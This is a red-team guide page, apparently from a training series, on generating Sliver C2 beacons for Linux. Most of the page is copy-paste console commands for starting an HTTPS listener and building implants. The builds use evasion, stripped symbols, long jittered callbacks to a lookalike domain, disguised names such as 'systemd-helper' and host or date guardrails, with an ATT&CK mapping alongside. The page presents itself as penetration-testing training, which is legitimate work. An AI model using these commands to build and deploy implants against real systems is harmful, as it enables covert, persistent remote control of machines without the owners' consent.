1.2.2 Sliver Beacon Creation OPSEC

#redteam #c2 #sliver #linux #opsec #beacons

1.2.2 Sliver Beacon Creation — OPSEC Guide

BLUF: Sliver beacons should be built deliberately: right transport, right interval, right kill date, right execution limits. The safest pattern is to generate beacons, not long-lived sessions, and to bake in restrictions so payloads fail closed when they land somewhere unexpected.

Note

Sections
🚀 Ready-to-Use Setup · 1. Beacon First, Session Later · 2. Direct Beacon Generation · 3. Generate from a Saved Profile · 4. Timing, Jitter, and Failure Logic · 5. Transport Choices · 6. Execution Restrictions · 7. Validate Before Staging · 8. Common Mistakes · 9. Quick-Reference Cheat Sheet

🚀 Ready-to-Use Setup (Copy-Paste)

Replace these placeholders first:

C2_URL → Sliver C2 endpoint, e.g. cdn-updates.example.com/assets

KILL_DATE → RFC3339 UTC expiry, e.g. 2026-12-31T23:59:59Z

OUTDIR → output directory, e.g. /tmp/payloads

Run location: Every https, generate beacon, profiles generate, implants, and regenerate command in this page is run on the backend Sliver server (usually inside the sliver-server console or its shell). Do not run these on the jump server. The jump server only fronts traffic in the redirector infrastructure docs.

Step 1 — Start a Listener (backend Sliver server)

# On the backend Sliver server, inside the sliver-server console:
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com
jobs

Step 2 — Generate a Linux Beacon Directly (backend Sliver server)

generate beacon \
  --http C2_URL \
  --os linux \
  --arch amd64 \
  --format exe \
  --seconds 3600 \
  --jitter 600 \
  --reconnect 60 \
  --poll-timeout 360 \
  --max-errors 1000 \
  --strategy s \
  --evasion \
  --skip-symbols \
  --limit-datetime KILL_DATE \
  --limit-fileexists /etc/ssh/sshd_config \
  --save OUTDIR

Step 3 — Or Generate from a Saved Profile (backend Sliver server)

profiles generate lin-http-prod \
  --name systemd-helper \
  --save OUTDIR

Step 4 — Verify the Generated Build Exists (backend Sliver server shell / console)

implants
ls -lah OUTDIR

OPSEC: Generate on infrastructure you control and keep payload build windows short. The less time operators spend compiling and recompiling during live ops, the fewer mistakes and artifacts you accumulate.

MITRE ATT&CK Mapping

Technique ID	Name	Tactic	Where Used
T1071.001	Web Protocols	Command & Control	HTTP(S) beacon transport
T1573.002	Asymmetric Cryptography	Command & Control	Sliver encrypted transport
T1105	Ingress Tool Transfer	Command & Control	Payload staging after generation
T1480	Execution Guardrails	Defense Evasion	Host/user/file/date restrictions

Section 1 — Beacon First, Session Later

For Linux ops, the default should be:

Generate beacon  →  deliver beacon  →  task beacon  →  open interactive session only when needed

Why:

Beacons are lower-noise than persistent sessions
You choose when to create an interactive session
Transport failures are less operationally catastrophic
Check-in timing can be shaped to match the environment

OPSEC: Interactive sessions are for moments that justify the extra noise: interactive troubleshooting, one-off file ops, or tooling that cannot tolerate queued tasking. Default back to beacons.

Section 2 — Direct Beacon Generation

Recommended low-noise Linux build

generate beacon \
  --http c2.example.com/assets \
  --os linux \
  --arch amd64 \
  --format exe \
  --seconds 3600 \
  --jitter 600 \
  --reconnect 60 \
  --poll-timeout 360 \
  --max-errors 1000 \
  --strategy s \
  --evasion \
  --skip-symbols \
  --limit-datetime 2026-12-31T23:59:59Z \
  --limit-fileexists /etc/ssh/sshd_config \
  --save /tmp/payloads

What each flag really means

Flag	Meaning
`--http c2.example.com/assets`	Use HTTP(S) transport; Sliver uses `--http` for HTTP and HTTPS implants
`--format exe`	Linux executable output (ELF)
`--seconds 3600`	Beacon every 3600 seconds
`--jitter 600`	Add 0–600 seconds randomly; jitter is flat seconds
`--reconnect 60`	Retry unreachable C2 every 60 seconds
`--poll-timeout 360`	Long-poll timeout in seconds
`--max-errors 1000`	Stop after too many failed connection attempts
`--strategy s`	Sequential connection strategy

OPSEC: Sliver enforces a minimum beacon interval of 5 seconds, but “valid” is not the same as “smart.” For production ops, think in minutes or hours, not seconds.

Section 3 — Generate from a Saved Profile

If you already created a profile in 1.2.1 Sliver Profile Creation OPSEC, generate from that instead of retyping flags:

profiles info lin-http-prod

profiles generate lin-http-prod \
  --name systemd-helper \
  --save /tmp/payloads

Use this when:

Multiple operators need the same build recipe
You are rotating output names, not core behavior
You want peer-reviewable compile settings

Do not use this blindly when:

Redirector domain changed
Kill date expired
You switched from lab to production timing

Section 4 — Timing, Jitter, and Failure Logic

Practical timing bands

Use case	Suggested interval
Lab / troubleshooting	60–300 seconds
Short internal op	900–1800 seconds
Long dwell / external	3600+ seconds

Important behavior

--jitter is seconds, not a percentage
--reconnect is the retry delay when a C2 endpoint fails
--strategy s tries endpoints in sequence
--strategy r and rd are available, but randomization can complicate troubleshooting

OPSEC: Low interval + high operator curiosity is how “quiet” beacons become noisy. The payload is only half the noise story; the tasking cadence matters just as much.

Section 5 — Transport Choices

Transport flag	Good for	Caveat
`--http`	Redirectors, blend-in web traffic, most common ops	Sliver may attempt HTTPS and HTTP under this transport family
`--mtls`	Cleaner dedicated C2 channels	Less blend-in than web-facing infra
`--dns`	Fallback / constrained egress	Slow and operationally expensive
`--wg`	Controlled environments	Usually less natural-looking than web traffic

Important syntax note

Listener command:  https --lhost 0.0.0.0 --lport 443
Implant flag:      generate beacon --http c2.example.com

That is intentional. The listener and implant flag names are not symmetrical.

OPSEC: For redirector-backed infrastructure, --http domain/prefix is usually the safest day-to-day choice. Keep DNS as fallback, not primary, unless the environment strongly favors it.

Section 6 — Execution Restrictions

Good restrictions make a payload fail closed:

generate beacon \
  --http c2.example.com/assets \
  --os linux --arch amd64 --format exe \
  --limit-datetime 2026-12-31T23:59:59Z \
  --limit-hostname web-01 \
  --limit-username ubuntu \
  --limit-fileexists /etc/ssh/sshd_config

When to use them

--limit-datetime → always for real ops
--limit-fileexists → fast Linux environment sanity check
--limit-hostname / --limit-username → when scope is tight and predictable

OPSEC: Restrictions reduce accidental execution on the wrong host, but they can also create silent failures if your assumptions are wrong. Verify target reality before making limits too strict.

Section 7 — Validate Before Staging

Before handing a beacon to an operator or staging pipeline:

# Review stored builds:
implants

# If needed, rebuild the exact same stored implant:
regenerate --save /tmp/payloads BUILD_NAME

Check:

Correct OS / arch
Correct output format
Correct C2 endpoint
Correct kill date
Correct interval / jitter

graph LR
    A[Start listener] --> B[Generate beacon or use profile]
    B --> C[Review implants / profile info]
    C --> D[Stage or deliver]
    D --> E[Catch callback]

Section 8 — Common Mistakes

Mistake	Why it hurts	Better move
`--https` in `generate beacon`	Current Sliver uses `--http` for HTTP(S) implant transport	Use `--http`
`--format elf`	Current format token is `exe` for Linux executables	Use `--format exe`
Very short intervals	Creates obvious beaconing and operator impatience	Default to 15m–60m+ unless you have a reason
No kill date	Payload may outlive authorization	Always set `--limit-datetime`
Rebuilding by memory each time	Flag drift and operator typos	Use saved implant profiles

Section 9 — Quick-Reference Cheat Sheet

# Start HTTPS listener:
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com

# Direct beacon generation:
generate beacon \
  --http c2.example.com/assets \
  --os linux --arch amd64 --format exe \
  --seconds 3600 --jitter 600 \
  --reconnect 60 --poll-timeout 360 \
  --limit-datetime 2026-12-31T23:59:59Z \
  --save /tmp/payloads

# Build from saved profile:
profiles generate lin-http-prod --name systemd-helper --save /tmp/payloads

# Review builds:
implants

Part of the Red Teaming 101 series. Previous: 1.2.1 Sliver Profile Creation OPSEC · Parent: 1.2 Sliver C2 Linux